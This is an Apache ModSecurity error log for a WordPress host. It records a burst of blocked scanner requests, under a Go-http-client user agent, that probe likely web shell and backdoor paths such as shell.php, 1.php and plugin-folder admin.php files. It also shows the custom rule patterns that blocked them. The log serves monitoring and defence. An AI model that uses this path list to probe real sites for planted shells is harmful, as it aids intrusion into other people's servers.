[Fri Dec 19 22:25:26.962862 2025] [:error] [pid 20581:tid 20627] [client 85.203.23.36:20635] [client 85.203.23.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/"] [unique_id "aUVgVvxEv7WXNhnFD1meUAAAAIw"]
[Fri Dec 19 22:25:27.454634 2025] [:error] [pid 41451:tid 41457] [client 85.203.23.28:57939] [client 85.203.23.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-links.php"] [unique_id "aUVgVwYXFn-DbZghZBH0qwAAAAM"]
[Fri Dec 19 22:25:27.917293 2025] [:error] [pid 20580:tid 20610] [client 85.203.23.5:23851] [client 85.203.23.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/"] [unique_id "aUVgV0md1op_YdAdgR24mgAAAFg"]
[Fri Dec 19 22:25:28.352632 2025] [:error] [pid 20582:tid 20653] [client 85.203.23.15:50933] [client 85.203.23.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aUVgWMpAnrkQKZ4b5gZYSQAAAMs"]
[Fri Dec 19 22:25:38.758263 2025] [:error] [pid 20675:tid 20689] [client 85.203.23.45:50367] [client 85.203.23.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/.well-known/"] [unique_id "aUVgYrMyJ3XqeDRsbQm2wAAAAQE"]
[Fri Dec 19 22:25:39.150079 2025] [:error] [pid 18438:tid 18455] [client 85.203.23.35:47921] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aUVgY5RArClWV1iij_S4EAAAAY4"]
[Fri Dec 19 22:25:44.531184 2025] [:error] [pid 41451:tid 41475] [client 85.203.23.23:28087] [client 85.203.23.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aUVgaAYXFn-DbZghZBH0wQAAABU"]
[Fri Dec 19 22:25:44.968654 2025] [:error] [pid 18438:tid 18462] [client 85.203.23.16:56099] [client 85.203.23.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aUVgaJRArClWV1iij_S4HAAAAZU"]
[Fri Dec 19 22:25:55.350035 2025] [:error] [pid 20580:tid 20592] [client 85.203.23.40:48795] [client 85.203.23.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aUVgc0md1op_YdAdgR24vAAAAEY"]
[Fri Dec 19 22:25:55.723494 2025] [:error] [pid 20580:tid 20593] [client 85.203.23.5:44815] [client 85.203.23.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2024/"] [unique_id "aUVgc0md1op_YdAdgR24vQAAAEc"]
[Fri Dec 19 22:26:06.146937 2025] [:error] [pid 16026:tid 16041] [client 85.203.23.27:41223] [client 85.203.23.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/chosen.php"] [unique_id "aUVgfkLVfhf4Jb3enmNUkgAAAUw"]
[Fri Dec 19 22:26:06.526301 2025] [:error] [pid 20675:tid 20690] [client 85.203.23.53:27343] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/images/"] [unique_id "aUVgfrMyJ3XqeDRsbQm23AAAAQI"]
[Fri Dec 19 22:26:06.964760 2025] [:error] [pid 16026:tid 16048] [client 85.203.23.2:46493] [client 85.203.23.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/images/"] [unique_id "aUVgfkLVfhf4Jb3enmNUlgAAAVM"]
[Fri Dec 19 22:26:07.337405 2025] [:error] [pid 41451:tid 41455] [client 85.203.23.53:58599] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/themes.php"] [unique_id "aUVgfwYXFn-DbZghZBH07wAAAAE"]
[Fri Dec 19 22:26:12.745492 2025] [:error] [pid 16026:tid 16052] [client 85.203.23.38:28357] [client 85.203.23.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "aUVghELVfhf4Jb3enmNUpwAAAVc"]
[Fri Dec 19 22:26:13.141265 2025] [:error] [pid 20580:tid 20600] [client 85.203.23.8:30633] [client 85.203.23.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "aUVghUmd1op_YdAdgR240gAAAE4"]
[Fri Dec 19 22:26:18.579146 2025] [:error] [pid 18438:tid 18450] [client 85.203.23.16:25001] [client 85.203.23.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/"] [unique_id "aUVgipRArClWV1iij_S4cQAAAYk"]
[Fri Dec 19 22:26:29.011999 2025] [:error] [pid 20582:tid 20644] [client 85.203.23.23:22877] [client 85.203.23.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "aUVglcpAnrkQKZ4b5gZYhAAAAMI"]
[Fri Dec 19 22:26:34.465180 2025] [:error] [pid 18438:tid 18452] [client 85.203.23.6:36937] [client 85.203.23.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/semplice4/assets/js/admin.php"] [unique_id "aUVgmpRArClWV1iij_S4jwAAAYs"]
[Fri Dec 19 22:26:34.908679 2025] [:error] [pid 20581:tid 20636] [client 85.203.23.12:36695] [client 85.203.23.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/Divi/common/admin.php"] [unique_id "aUVgmvxEv7WXNhnFD1meywAAAJU"]
[Fri Dec 19 22:26:35.351473 2025] [:error] [pid 41451:tid 41469] [client 85.203.23.44:20553] [client 85.203.23.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-file-manager/classes/admin.php"] [unique_id "aUVgmwYXFn-DbZghZBH1JQAAAA8"]
[Fri Dec 19 22:26:35.810320 2025] [:error] [pid 41451:tid 41478] [client 85.203.23.53:53357] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-file-manager/lib/sounds/admin.php"] [unique_id "aUVgmwYXFn-DbZghZBH1JgAAABg"]
[Fri Dec 19 22:26:41.247775 2025] [:error] [pid 41451:tid 41466] [client 85.203.23.53:32111] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/img/portfolio/about.php"] [unique_id "aUVgoQYXFn-DbZghZBH1JwAAAAw"]
[Fri Dec 19 22:26:41.688802 2025] [:error] [pid 41451:tid 41471] [client 85.203.23.35:59975] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/img/single/about.php"] [unique_id "aUVgoQYXFn-DbZghZBH1KAAAABE"]
[Fri Dec 19 22:26:42.148286 2025] [:error] [pid 18438:tid 18454] [client 85.203.23.46:50777] [client 85.203.23.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/img/full/admin.php"] [unique_id "aUVgopRArClWV1iij_S4ngAAAY0"]
[Fri Dec 19 22:26:47.600204 2025] [:error] [pid 20582:tid 20661] [client 85.203.23.3:48069] [client 85.203.23.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/img/fm.php"] [unique_id "aUVgp8pAnrkQKZ4b5gZYqAAAANM"]
[Fri Dec 19 22:26:53.041153 2025] [:error] [pid 20581:tid 20632] [client 85.203.23.15:32877] [client 85.203.23.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/files/admin.php"] [unique_id "aUVgrfxEv7WXNhnFD1me0AAAAJE"]
[Fri Dec 19 22:26:58.509187 2025] [:error] [pid 41451:tid 41468] [client 85.203.23.3:24161] [client 85.203.23.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/cei-Biz/1.php"] [unique_id "aUVgsgYXFn-DbZghZBH1QwAAAA4"]
[Fri Dec 19 22:26:58.925337 2025] [:error] [pid 20582:tid 20644] [client 85.203.23.26:59817] [client 85.203.23.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/stamp/1.php"] [unique_id "aUVgsspAnrkQKZ4b5gZYsAAAAMI"]
[Fri Dec 19 22:27:04.367029 2025] [:error] [pid 18438:tid 18452] [client 85.203.23.53:28587] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/w3-total-cache/inc/1.php"] [unique_id "aUVguJRArClWV1iij_S4zwAAAYs"]
[Fri Dec 19 22:27:04.811219 2025] [:error] [pid 41451:tid 41454] [client 85.203.23.35:31071] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/LayerSlider/wp/1.php"] [unique_id "aUVguAYXFn-DbZghZBH1UAAAAAA"]
[Fri Dec 19 22:27:05.252200 2025] [:error] [pid 20582:tid 20659] [client 85.203.23.12:40229] [client 85.203.23.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/all-in-one-wp-security-and-firewall/1.php"] [unique_id "aUVgucpAnrkQKZ4b5gZYtgAAANE"]
[Fri Dec 19 22:27:05.704466 2025] [:error] [pid 20581:tid 20622] [client 85.203.23.35:28495] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-sweep/1.php"] [unique_id "aUVgufxEv7WXNhnFD1me3QAAAIc"]
[Fri Dec 19 22:27:06.154679 2025] [:error] [pid 20581:tid 20632] [client 85.203.23.51:42755] [client 85.203.23.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/tablepress/1.php"] [unique_id "aUVguvxEv7WXNhnFD1me4AAAAJE"]
[Fri Dec 19 22:27:11.573433 2025] [:error] [pid 18438:tid 18446] [client 85.203.23.28:41663] [client 85.203.23.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/ubermenu-icons/thom-hardy.php"] [unique_id "aUVgv5RArClWV1iij_S44QAAAYU"]
[Fri Dec 19 22:27:12.014655 2025] [:error] [pid 18438:tid 18445] [client 85.203.23.11:42505] [client 85.203.23.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/newsletter/main/1.php"] [unique_id "aUVgwJRArClWV1iij_S44wAAAYQ"]
[Fri Dec 19 22:27:12.436933 2025] [:error] [pid 20581:tid 20627] [client 85.203.23.53:56623] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo-premium/deprecated/1.php"] [unique_id "aUVgwPxEv7WXNhnFD1me6QAAAIw"]
[Fri Dec 19 22:27:12.867086 2025] [:error] [pid 41451:tid 41462] [client 85.203.23.51:50741] [client 85.203.23.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/backups/1.php"] [unique_id "aUVgwAYXFn-DbZghZBH1UwAAAAg"]
[Fri Dec 19 22:27:18.300041 2025] [:error] [pid 41451:tid 41467] [client 85.203.23.22:23355] [client 85.203.23.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/htdocs/shell.php"] [unique_id "aUVgxgYXFn-DbZghZBH1YwAAAA0"]
[Fri Dec 19 22:27:18.728392 2025] [:error] [pid 41451:tid 41470] [client 85.203.23.35:36775] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/web/admin.php"] [unique_id "aUVgxgYXFn-DbZghZBH1ZAAAABA"]
[Fri Dec 19 22:27:24.146918 2025] [:error] [pid 20581:tid 20634] [client 85.203.23.42:62625] [client 85.203.23.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/site/admin.php"] [unique_id "aUVgzPxEv7WXNhnFD1me-gAAAJM"]
[Fri Dec 19 22:27:24.586880 2025] [:error] [pid 20581:tid 20617] [client 85.203.23.42:33017] [client 85.203.23.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/webroot/admin.php"] [unique_id "aUVgzPxEv7WXNhnFD1me-wAAAII"]
[Fri Dec 19 22:27:30.025836 2025] [:error] [pid 16026:tid 16052] [client 85.203.23.36:30775] [client 85.203.23.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/html/admin.php"] [unique_id "aUVg0kLVfhf4Jb3enmNU7QAAAVc"]
[Fri Dec 19 22:27:30.453066 2025] [:error] [pid 16026:tid 16048] [client 85.203.23.19:53665] [client 85.203.23.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes2/blocks/column/"] [unique_id "aUVg0kLVfhf4Jb3enmNU7wAAAVM"]
[Fri Dec 19 22:27:30.870118 2025] [:error] [pid 20581:tid 20624] [client 85.203.23.15:36579] [client 85.203.23.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/uploads/dynamic_avia/"] [unique_id "aUVg0vxEv7WXNhnFD1mfAgAAAIk"]
[Fri Dec 19 22:27:31.288205 2025] [:error] [pid 20581:tid 20620] [client 85.203.23.45:47673] [client 85.203.23.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-cron.php"] [unique_id "aUVg0_xEv7WXNhnFD1mfAwAAAIU"]
[Fri Dec 19 22:27:36.716783 2025] [:error] [pid 16026:tid 16041] [client 85.203.23.26:39545] [client 85.203.23.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/edit.php"] [unique_id "aUVg2ELVfhf4Jb3enmNU-AAAAUw"]
[Fri Dec 19 22:27:37.134919 2025] [:error] [pid 18438:tid 18450] [client 85.203.23.49:26651] [client 85.203.23.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/areak/areak1.php"] [unique_id "aUVg2ZRArClWV1iij_S5CgAAAYk"]
[Fri Dec 19 22:27:37.581842 2025] [:error] [pid 18438:tid 18458] [client 85.203.23.36:31957] [client 85.203.23.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/11.php"] [unique_id "aUVg2ZRArClWV1iij_S5DAAAAZE"]
[Fri Dec 19 22:27:38.020686 2025] [:error] [pid 18438:tid 18441] [client 85.203.23.22:63011] [client 85.203.23.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dpsnv/classes/font/"] [unique_id "aUVg2pRArClWV1iij_S5EQAAAYA"]
[Fri Dec 19 22:27:38.475504 2025] [:error] [pid 18438:tid 18453] [client 85.203.23.36:61435] [client 85.203.23.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aUVg2pRArClWV1iij_S5FQAAAYw"]
[Fri Dec 19 22:27:48.893512 2025] [:error] [pid 20581:tid 20621] [client 85.203.23.36:36539] [client 85.203.23.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/library/"] [unique_id "aUVg5PxEv7WXNhnFD1mfEQAAAIY"]
[Fri Dec 19 22:27:49.308813 2025] [:error] [pid 20582:tid 20666] [client 85.203.23.34:36921] [client 85.203.23.34] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/theme-check/theme-check.php"] [unique_id "aUVg5cpAnrkQKZ4b5gZY0AAAANg"]
[Fri Dec 19 22:27:49.727008 2025] [:error] [pid 20675:tid 20694] [client 85.203.23.19:58339] [client 85.203.23.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/new.php"] [unique_id "aUVg5bMyJ3XqeDRsbQm3XAAAAQY"]
